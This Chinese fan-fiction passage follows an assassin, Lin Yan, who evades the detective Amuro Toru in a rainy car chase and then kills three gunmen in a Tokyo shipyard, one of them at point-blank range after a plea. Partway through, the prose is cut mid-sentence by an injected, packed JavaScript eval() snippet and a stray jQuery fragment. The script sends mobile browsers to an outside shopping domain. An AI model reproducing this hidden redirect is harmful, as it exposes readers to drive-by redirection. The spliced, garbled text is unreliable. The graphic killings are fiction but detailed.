雨幕将东京湾方向的天际线压成了一条低垂的灰带。黑色丰田以固定频率切开积水路面时,车轮碾过每一处坑洼都会带起一道扇状水墙,水墙在车尾灯的照射下短暂地亮一下,随即碎成暗色的水雾,被时速吞没在后方。挡风玻璃上的水膜在雨刷划过的间隙里不断重组,每一次清晰期都只有不到两秒,两秒之内他必须把路况读进眼里——弯道的曲率,对向车灯的远近距离,路面反光中暗色区域的分布。他的眼睛已经习惯了这种断续的输入方式,大脑能在每次扫视窗口内完成路径的即时重构。
三公里。
林砚的右眼余光扫过后视镜。那是一枚曲面镜,反射面被雨水覆上了一层断续的水纹,但他仍然捕捉到了那枚位于后车灯光晕边缘的、不起眼的深灰色轮廓。那辆车跟了二十分钟。车速始终保持在他车速的百分之九十五到百分之一百零五之间浮动,不会近到进入后车灯的强光区,也不会远到在弯道视觉盲区里被抹掉。跟车手法很干净——松油、点刹、入弯前提前减速三个点,出弯后加速两个点——每一个动作都精准地贴合着前车的节奏,像一把钥匙在慢慢试锁芯里的齿痕。
公安。他默念这两个字的时候,嘴角动了一下。不是笑,只是一个从下颌传导到颧骨的微缩反应,像一根琴弦被拨动后又迅速被手指按住。
安室透。那杯大吉岭的温度应该还没有从他自己的杯壁上彻底散尽——他在心里算了算时间,从书房门合上到现在正好三十五分钟。三十五分钟后他换好了装备、甩掉了跟踪、接近了目标区域。安室透的嗅觉比他预期的还要快了一刻钟。零组的反应速度让他略微调高了对方在棋盘上的权重。
前方是一个岔口。导航的电子女声刚刚发出了左转指令,左转通往主干道,距离目标还有二点八公里,路况良好。右侧是一条工业巷道,路面窄了一半,两侧堆放着锈蚀的废旧钢材,尽头是一堵围墙。
林砚没有打转向灯。他的左手从方向盘上滑落至档杆,把变速从D推入低挡位,转速表指针跳了一格。右脚的油门踏板在他做出这个动作的同时向地板方向压了两厘米——整个切换过程发生在零点六秒之内,车身没有出现任何顿挫或动力中断的迹象。轮胎在湿滑柏油路面上短暂失去了纵向抓地力,又在他的方向盘修正下迅速找回咬合。
车身猛然右拐,水花从右前轮外侧甩出,打在巷道侧壁的砖面上发出一声短促的闷响。工业巷道的路面比主干道粗糙,铺的是旧式防滑砖,缝隙里生着暗绿色的苔藓,雨水让那些苔藓吸饱了水分,表面滑腻如油。
后视镜里,那辆灰色轿车没有犹豫。它在零点八秒内完成了同样的变向,入弯时的姿态比林砚预计的还要稳——前悬的压缩行程很短,后轮没有出现侧滑,车头的指向修正了一次就锁定了路径。安室透亲自在开。
林砚的瞳孔收缩了一瞬。那是最轻度的、纯粹的生理性确认,和恐惧无关,和兴奋也无关。只是一枚变量被验证了之后,脑海中相应棋位的状态从“不确定”变为了“确认”,系统的运算负载减轻了百分之三。
前方的巷道被两侧堆叠的废弃集装箱和锈蚀钢架收窄成了仅容一辆车通过的单线通道。远处尽头,一堵围墙上被雨水冲刷出深浅不一的灰黑条纹,墙体下方有一道约一米五宽的缺口——被某辆重型货车常年碾压后塌陷出的豁口,边缘散落着碎砖和扭曲的钢筋。
林砚没有减速。
他甚至在看到围墙的同一秒又追加了半厘米的油门行程。车身在狭窄的通道里拉出一道持续的、高频的水花撕裂声,两侧的锈蚀金属构件在车身两侧掠过的速度已经让它们变成了模糊的色块。距离围墙六十米。四十米。二十米。
他猛踩刹车。制动踏板的行程被他一脚踩到底,防抱死系统在湿滑路面上启动的瞬间,刹车踏板开始高频弹动,每一次弹动的间隔几乎一致,像心脏在极限负荷下的震颤。同时他的方向盘向右打满,车尾在惯性作用下向左甩出,轮胎与湿透的防滑砖之间发出尖锐的、长达三秒的持续嘶鸣。车身以一个几乎不可能的角度从横向滑移切入豁口——车头擦着左侧砖墙过去时,右后视镜外壳在砖角上刮蹭出一道长而浅的白色划痕,塑料碎裂声被雨声吞了一半。
车尾刚刚滑过豁口边缘,灰色轿车也到了。
安室透在同样的距离上踩下了刹车,但他的入弯角度比林砚晚了约半度。就是那半度之差——灰色轿车的右前保险杠擦上了豁口左侧的碎砖堆,悬挂系统发出沉闷的金属挤压声,整个车头向左侧偏了十五度。他试图反打方向修正,但湿滑的碎砖表面让前轮失去了抓地力。灰色轿车以一个钝重而不甘的姿态撞上了围墙,引擎盖在撞击下隆起了一道不规则的折角,散热格栅的碎片四散弹开,落在积水里扑出细小的水花。
林砚从后视镜里看了那辆车一眼。安全气囊没有弹出——撞击速度不够,安室透在最后一刻刹住了大部分动能。他看到驾驶座的车门被推开了一条缝,一只穿着深色外套的手臂从缝隙里伸出来,手掌压在车门边缘,指节用力到泛白。
他没有继续看。
他推开车门,左脚踩进积水里,水从鞋面两侧溢开,湿意隔着皮革渗进来。他弯腰抽出车钥匙,按了锁车键,然后转身走向厂区方向,步伐不快不慢,每一步的落点都选在地面积水的浅处。身后那扇车门正在被更大幅度地推开,但他已经没入了钢架投下的阴影里。
造船厂的轮廓在前方逐渐清晰。三座塔吊的剪影被闪电照亮了一瞬间——那片亮白来得太突然,整个厂区的每一条锈蚀的焊缝、每一片剥落的油漆都被照出了清晰的边缘,然后又骤然沉入更深的暗色之中。雨丝在闪电的光照下变成了无数根下坠的银针,静止了一帧,然后重新开始流动。
林砚在厂区入口处停顿了半秒。他的鼻翼微微张阖了一次——空气中的气味组合是:铁锈的金属甜味,柴油的刺鼻挥发物,混凝土被雨水浸透后释放出的石灰味,还有一层极其微弱的、被雨冲淡了的血腥底味。有人来过。不止一个。血的气味大概是在两到三小时前留下的,雨水已经冲散了大半,但混凝土孔隙里残留的那一点足够让他的嗅觉阈值捕捉到。
他走侧门进去。
门是铁皮的,铰链锈得厉害,他用肩胛抵着门板内侧推了不到两指宽的缝,侧身滑入。铁门的锈蚀边缘在他腰间防弹背心的侧护板上蹭出一条细碎的铁屑痕,声响被外面的雨幕吃掉了。
厂房内的空间比他预想的还要开阔。顶棚在三层楼高的位置,那些天窗的玻璃碎了大半,雨水从空洞中灌入,在水泥地面上形成了几片不规则的水洼。钢梁呈矩阵排列,把厂房切割成网格状的空间,每一格投下的阴影都在闪电的间歇里变换着形状和密度。
有脚步声。在厂房深处的第三跨。重而稳,靴底踏过积水时带出的水声节奏均匀——每两步之间间隔约零点八秒,体重在八十到九十公斤之间。不止一个人。他听出第二个人的步点落在第一人的右侧偏后约三米的方位,第三个人的足音更轻,正从左侧的钢架走道上绕行,试图在厂房中部形成合围。
三角形。两前一策应。朗姆的标准搜捕队形。训练有素的人能在三分钟内完成对该区域的全面覆盖,前提是他们的装备一切正常。
林砚从口袋里取出一枚小型干扰器。那东西比一副扑克牌还要薄,外壳是磨砂黑的工程塑料,侧面有一枚极细的拨轮开关。他把拨轮从静默档旋转至主动档,然后按下了侧面的确认键。
三秒后,他听到了预想中的声音。远处有人低声骂了一句粗口,然后是仪器拍打声——那人正在拍打自己头盔侧面的热成像仪。屏幕上应该已经只剩下高频抖动的雪花噪点,所有热源信号被抹成了一片均匀的灰白。
"怎么回事——"
"信号干扰!他的装备比我们先进——"
最后那个词没有说完。因为林砚已经动了。
他从钢梁阴影中落下来的过程没有发出任何声响——原因是他在着地前用脚尖勾了一下钢梁下缘的横撑,让身体的重心从自由落体转成了圆弧摆荡,末速度被削减到不足自由落体的三分之一。落地时他的体重压在左脚的脚掌外侧,脚掌的内侧先接触地面,然后重心缓慢过渡,整个过程从接触到完全承重用了将近两秒。那两秒里,最左侧那人的后脑距离他的枪口不到四十公分。
消音器的开口抵上去时,那人正低头调整热成像仪的频段,后颈暴露在皮衣领口的上方。林砚扣扳机的动作是食指第二关节发力而非指尖,这样才能保证在潮湿环境下依然保持对扳机行程的完全感知。击发声被雨声压成了一记极短的、闷而钝的"噗",像远处有人往水里掷了一枚卵石。子弹入口的路径是斜向上的,从枕骨下方进入,穿过脑干,出口在眉弓上方——那人没有发出任何声音,膝盖先弯,身体向前倾倒,面朝下栽进地面的积水里,水花溅起的幅度很小,雨太大,眨眼就被覆盖了。
中间那人的反应速度比他预期的快了零点二秒。林丹的击发声还未完全消失,那人已经转身了,枪口抬起的轨迹是一条从大腿外侧到胸前的直线,中途没有任何多余的修正弧线。经验丰富的人,在失去热成像辅助的陌生环境中依然保持着高
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17834186|211371||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
度警觉。但他的警觉太依赖视觉了——他转身时右脚向右跨了一步,让躯干正对向枪声来源的方向,这个动作暴露出他右肋下方一段长约十二公分的无防护区域,防弹背心的侧护板与腹部护板之间有一道因转身而拉开的缝隙。
林砚的枪口在他转身完成的同时已经压低了十五度。他侧身的幅度刚好让第二发子弹沿着那道缝隙穿入,斜向穿透膈肌,在左肺底部释放了动能。那人低头看了一眼自己的右肋,脸上浮现的表情不是恐惧,而是一种纯粹的、对自身判断失误的困惑。他的枪掉进水里了,无声无息地沉了下去,然后他的膝盖也沉了下去,整个人像一截被锯断的木头,后仰着倒进了厂房深处的水洼里。血从肋下溢出,在浅水中稀释成一团缓缓扩散的、边缘不断变淡的暗红。
第三人没有开枪。
他没有开枪因为林砚在击倒第二人的同一秒已经完成了横向位移。他在四分之一的节拍内向右横跨了两步,身体贴上了一根直径约四十公分的钢柱,柱面在他的后背上抵出一块冰凉的触点。第三人的枪声响了——三发点射,子弹击中钢柱前侧,在金属表面爆出三枚短促的蓝色火花,声音在空旷厂房里来回弹射了数次,听起来像是被复制了很多倍的同一声。
林砚从钢柱左侧探出枪口,凭听觉判断方向打了一发压制弹。那发子弹打在了距离第三人头部约六十公分处的混凝土立柱上,碎屑飞溅的声音让那人停止了连续射击。他屏息了。林砚也屏息了。两人的呼吸间歇在那一秒里精确重叠——同时吸气,同时停住,整个厂房只剩下雨灌入天窗的声音和他自己的心跳,隔着一层战术背心的凯夫拉纤维,在胸腔里持续而平稳地跳。
第三人先动了。他选择了向左移动,靴跟先落地,脚尖后落,每一步都压着雨声的间隙。但林砚不需要看他。厂房里那些被雨水灌满的水洼在每一步踩下去时都会发出极其微弱的、特定频率的液面震动。他从左前方的第四个水洼听到了那声不自然的、过于密集的波纹反馈。
他从钢柱后闪出时身体压得很低,枪口与地面之间夹角不足十度。第三人正好从第四根立柱的阴影里探出上半身,林砚的枪口已经平指在他的咽喉与锁骨之间的三角区域。
冰凉的金属触在皮肤上之前,那人先看到了那只手——戴着一只单层的黑色战术手套,手指修长,食指笔直地贴在扳机护圈外侧,拇指扣在握把后方的保险卡榫上。那只手很稳,稳到枪口在距离目标不足十五公分的时候没有任何肉眼可辨的晃动。
"——嘘。"
林砚没有说更多。他只给了这一个字,从喉咙里送出来,音量压到刚好能让对方听到、但三米之外就会被雨声完全吞没的程度。
那人张着嘴,喉结动了两次,没有发出声音。他的手指还扣在扳机上,但那个力度已经不足以击发了——扣扳机的力量在恐惧中泄掉了七成,剩下的三成只够让手指维持在触面的程度。
林砚看着他的眼睛,瞳孔深处没有被反射的任何情绪。雨声从碎裂的天窗灌下来,在两人之间形成了一道不断降落的、不说话的屏障。
然后林砚把枪口微微上抬了五度。枪口擦着那人的下颌边缘滑过去,抵在了太阳穴偏后处。金属与皮肤接触的瞬间,那人终于发出了一声极短的、像婴儿的啜泣被截断后溢出的气音。
扳机扣下去了。
尸体倒下的时候,林砚已经转过身去,朝厂房另一个方向的侧门走去。他的右脚踩过第一具尸体身边那滩已经与雨水充分混合的血水时,鞋底在浑浊的液面上压出一道短暂的波纹。他没有低头看。
侧门的门锁是挂锁,锈死了,他用枪柄敲了两下锁梁的根部——力量恰到好处地让铸铁在脆化点断裂,锁身整个脱落。他拉开铁门,外面的雨瞬间扑了进来,凉意与湿润同时覆上他的面部,把附着在皮肤上的血腥味冲淡了一层。
他撑开那把一直带在身上的黑色长柄伞,走入雨中。伞面在头顶展开的时候发出一声紧绷的、布料与骨架完全拉直的闷响。他举着伞的手腕高度与平时走在超市回家路上时一模一样。
身后,造船厂在每一次闪电亮起时都会将三座塔吊的巨大影子投在水面上,像三根插进海里的黑色楔子。雨水正在把厂房内那三具尸体的体温一点一点地抽走,流向地漏,汇入东京湾。
林砚没有回头。
他把那把被雨水冲刷干净的黑色长柄伞举得很稳,沿着来时那条已经只剩下破碎砖石的巷道,不紧不慢地走了出去。
雨幕在他身后的天际线上缓缓收窄成一道逐渐暗下去的灰蓝色缝隙。